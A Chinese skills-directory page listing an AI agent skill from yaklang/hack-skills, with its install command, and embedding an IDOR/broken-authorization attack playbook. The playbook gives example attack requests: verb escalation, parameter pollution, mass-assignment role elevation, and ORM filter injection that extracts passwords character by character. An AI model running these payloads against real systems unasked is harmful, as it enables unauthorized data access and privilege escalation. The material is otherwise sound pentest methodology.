Token导航 LogoToken导航TokenDH.com
研究检索敏感数据github未标认证来源可访问许可证需确认审计提醒

idor-broken-object-authorizationidor 破坏对象授权

Agent Skill

用于辅助安全审计、权限检查、凭据风险、认证流程和常见漏洞排查。它适合让 Agent 梳理敏感配置、检查依赖风险、分析鉴权逻辑或生成安全复核清单。使用时不能把工具输出直接当最终结论,涉及密钥、令牌、用户数据或生产系统时,应先确认最小权限、脱敏方式和操作边界。

总安装

7,488

周安装

317

GitHub Stars

349

下载量

2,424
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:idor-broken-object-authorization(idor 破坏对象授权)
来源仓库:https://github.com/yaklang/hack-skills
仓库路径:skills/idor-broken-object-authorization
安装命令:
npx skills add https://github.com/yaklang/hack-skills --skill idor-broken-object-authorization
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/yaklang/hack-skills --skill idor-broken-object-authorization

简介

用于辅助安全审计、权限检查和凭据风险排查。

  • 适合梳理敏感配置或分析鉴权逻辑。
  • 使用时不能把工具输出直接当最终结论。
  • 安装命令:npx skills add https://github.com/yaklang/hack-skills --skill idor-broken-object-authorization
  • 涉及密钥或生产系统时应先确认最小权限。

SKILL.md

SKILL: IDOR / Broken Object Level Authorization — Expert Attack Playbook

AI LOAD INSTRUCTION: IDOR is the #1 bug bounty finding. This skill covers non-obvious IDOR surfaces, all attack vectors (not just URL params), A-B testing methodology, BOLA vs BFLA distinction, chaining IDOR to higher impact, and what testers repeatedly miss.

1. IDOR vs BOLA vs BFLA

TermMeaningImpact
IDORInsecure Direct Object ReferenceRead/modify other users' data
BOLABroken Object Level Authorization (OWASP API Top 10 A1)Same as IDOR, API terminology
BFLABroken Function Level AuthorizationLow-priv user accesses HIGH-PRIV functions (e.g., admin endpoints)

Key distinction:

  • BOLA = accessing object you shouldn't own (data belonging to other users)
  • BFLA = accessing function you shouldn't be authorized for (admin CRUD operations, bulk actions, user management)

2. WHERE TO FIND OBJECT IDs (ALL LOCATIONS)

Don't stop at URL path parameters — IDs appear in:

URL path:        GET /api/v1/users/1234/profile
URL query:       GET /orders?order_id=982
Request body:    {"userId": 1234, "action": "view"}
JSON fields:     {"resource": {"id": 5678, "type": "invoice"}}
Headers:         X-User-ID: 1234
                 X-Account-ID: 9999
Cookies:         user_id=1234; account=org_5678
GraphQL args:    query { user(id: "1234") { ... } }
Form fields:     <input name="documentId" value="5678">
WebSocket msgs:  {"event":"subscribe","channel_id":9999}

3. A-B TESTING METHODOLOGY

The most systematic IDOR test approach:

Step 1: Create two test accounts: UserA and UserB
Step 2: Perform all actions as UserA, capture all requests
        (profile edit, order view, password change, file access, etc.)
Step 3: Note every object ID created or accessed by UserA
Step 4: Authenticate as UserB
Step 5: Replay UserA's requests using UserB's session token
Step 6: If UserB can read/modify UserA's data → BOLA confirmed

Victim matters: for real bugs, target existing users, not test accounts.
Report evidence: show UserA owns the resource, UserB accessed it.

4. ID TYPE ITS IMPLICATIONS

ID PatternExampleNotes
Sequential intid=1001id=1002Easy prediction, high hit rate
UUID v4550e8400-...Need to find UUID from other endpoints
UUID v1Clock-based UUIDTime-predictable! Extract timestamp/MAC
GUIDs from own dataSee in responsesCollect all UUIDs from your own account data first
Hashed IDsmd5(user_id)Try hashing sequential ints
Encoded IDsbase64({"id":1001})Decode → modify → re-encode
Compound IDs/api/users/1/orders/5Both IDs may be independently verifiable

5. HORIZONTAL vs VERTICAL PRIVILEGE ESCALATION

Horizontal: UserA accesses UserB's data (same privilege level)

GET /api/account/1234/statement     ← you are user 5678

Vertical: Low-priv user accesses admin-only functions

POST /api/admin/users/delete        ← normal user calling admin endpoint
GET /api/admin/all-users
PUT /api/users/1234/role {"role":"admin"}

Combined: Low-priv IDOR that grants privilege escalation

GET /api/v1/users/1/details → read admin user's auth token

6. HTTP METHOD ESCALATION

When GET /resource/1234 is properly restricted, test ALL other verbs:

GET    /api/v1/users/UserA_ID    ← might be blocked
POST   /api/v1/users/UserA_ID    ← different code path, might not check authz
PUT    /api/v1/users/UserA_ID    ← update another user's data
DELETE /api/v1/users/UserA_ID    ← delete another user's account
PATCH  /api/v1/users/UserA_ID    ← partial update (often missed in authz checks)

Why this works: Authorization logic is often implemented per-method, and developers forget edge cases.


7. PARAMETER POLLUTION & TYPE CONFUSION

When id=1234 is validated, try:

id[]=1234&id[]=5678          ← array — app may use first or last
id=5678&id=1234              ← duplicate — app may prefer first or last
{"id": "1234"}               ← string vs int: might hit different code path
{"id": [1234]}               ← array in JSON
{"userId": 1234, "id": 5678} ← two ID fields — which is used for authz?

JSON Type Confusion:

{"userId": "1234"}   vs   {"userId": 1234}

Some ORMs handle string vs integer differently in queries.


8. BFLA (FUNCTION LEVEL) ATTACKS

Common BFLA Endpoints to Test

# User management (admin-only in design):
GET /api/v1/admin/users
DELETE /api/v1/users/{any_user_id}
PUT /api/v1/users/{user_id}/role

# Bulk operations:
POST /api/v1/users/bulk-delete
GET /api/v1/export/all-data

# Billing/payment admin:
POST /api/v1/admin/subscription/modify
GET /api/v1/admin/payments/all

# Internal reporting:
GET /api/v1/reports/all-users-activity

How to Find Hidden Admin Endpoints

  1. Read JS bundles — admin routes often exposed in frontend code
  2. Look at API docs (Swagger/OpenAPI) for "admin", "internal", "privileged" tags
  3. Enumerate /api/v1/admin/**, /api/v1/manage/**, /api/v1/internal/**
  4. Burp "Discover Content" on API base path
  5. Compare regular user docs vs admin section docs if available

9. INDIRECT IDOR (REFERENCE CHAIN)

App checks permission on object A but doesn't check ownership of referenced object B:

Example:

UserA has permission to read their own messages.
GET /api/messages/1234 → checks: "does user own message 1234?" ✓

But: messages have attachments.
GET /api/attachments/5678 → doesn't check: "does attachment belong to message owned by user?"

Test: access attachments/sub-resources directly via their IDs without going through parent endpoint.

GraphQL variant: Inline querying related objects without separate authorization:

query {
  myProfile {
    followers {
      privateEmail    ← accessing private field of OTHER users via relationship
    }
  }
}

10. MASS ASSIGNMENT → PRIVILEGE ESCALATION

When POST/PUT takes a JSON body, properties in the underlying model may be settable even if not in the official API docs:

POST /api/v1/register
{
  "username": "attacker",
  "email": "a@evil.com",
  "password": "password",
  "role": "admin",          ← hidden field
  "isAdmin": true,          ← hidden field
  "verified": true,         ← skip email verification
  "creditBalance": 9999     ← give self credits
}

How to find hidden fields:

  1. Intercept admin "create user" vs normal "register" — diff the fields
  2. Read API documentation for all possible fields
  3. Check source code if available (GitHub, JS bundles)
  4. Fuzz with Burp: add common property names and check for 200 vs 400

11. STATE MACHINE ABUSE (BUSINESS LOGIC IDOR)

When resources have a status/state:

order.status: pending → confirmed → shipped → delivered

Test: Can you skip states?

PUT /api/orders/1234 {"status": "delivered"}  ← from "pending"
PUT /api/orders/1234 {"status": "refunded"}   ← from "pending" (skip shipped)

Can you set another user's order status?

PUT /api/orders/UserA_order_id {"status": "cancelled"}  ← as UserB

12. QUICK IDOR CHECKLIST

□ Create 2 accounts (UserA + UserB)
□ Map all API calls that contain object IDs (Burp History export filter)
□ Test all HTTP verbs on each endpoint
□ Test ID in all locations: path, body, header, query, cookie
□ Try sequential IDs (−1, +1 from your own)
□ Try UUIDs/GUIDs collected from your own account data
□ Test sub-resources (attachments, comments, transactions)
□ Test admin endpoints directly (BFLA)
□ Test POST/PUT body for extra fields (mass assignment)
□ Compare JSON response field count vs documented fields (hidden fields)
□ Test state/status field modification

13. SYSTEMATIC IDOR TESTING — 8 CATEGORIES

#CategoryTest Method
1Direct ID referenceChange numeric/UUID ID in URL: /api/users/123/api/users/124
2Predictable UUIDIf UUIDs are v1 (time-based), adjacent IDs are calculable
3Batch/bulk operations/api/users/bulk?ids=123,456 — add other users' IDs
4Export/downloadExport endpoint leaks other users' data: /export?user_id=*
5Linked object IDORChange order.address_id to another user's address
6Resource replacementUpdate own profile with another user's resource ID → overwrites
7Write IDORPUT/PATCH/DELETE with other user's ID — modify/delete their data
8Nested object/api/orgs/1/users/2 — change org ID to access other org's users

Testing Flow

1. Create two test accounts (A and B)
2. Perform all CRUD operations as A, capture all request IDs
3. Replay each request replacing A's IDs with B's IDs
4. Check: Can A read B's data? Modify? Delete?
5. Test with: numeric IDs, UUIDs, slugs, encoded values
6. Test across: URL path, query params, JSON body, headers

14. ORM FILTER CHAIN LEAKS

Django ORM Filter Injection

# Vulnerable: User.objects.filter(**request.data)
# Attacker sends: {"password__startswith": "a"}
# Django translates to: WHERE password LIKE 'a%'

# Character-by-character extraction:
POST /api/users/
{"username": "admin", "password__startswith": "a"}   → 200 (match)
{"username": "admin", "password__startswith": "b"}   → 404 (no match)
# Iterate through charset for each position

# Relational traversal:
{"author__user__password__startswith": "a"}
# Traverses: Author → User → password field

# On MySQL: ReDoS via regex
{"email__regex": "^(a+)+$"}  → CPU spike if match exists

Prisma Filter Injection

// Vulnerable: prisma.user.findMany({ where: req.body })
// Attacker sends nested include/select:
{
  "include": {
    "posts": {
      "include": {
        "author": {
          "select": {"password": true}
        }
      }
    }
  }
}
// Leaks password field through relation traversal

Ransack (Ruby on Rails)

# Ransack allows search predicates via query params:
GET /users?q[password_cont]=admin
# Searches: WHERE password LIKE '%admin%'

# Character extraction:
GET /users?q[password_start]=a   → count results
GET /users?q[password_start]=ab  → narrow down
# Tool: plormber (automated Ransack extraction)

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

37.25%
按下载量换算903

Claude

30.4%
按下载量换算737

Cursor

19.59%
按下载量换算475

Gemini CLI

10.23%
按下载量换算248

安全审计

Gen Agent Trust Hub

通过

Socket

通过

Snyk

可疑

权限和风险

敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills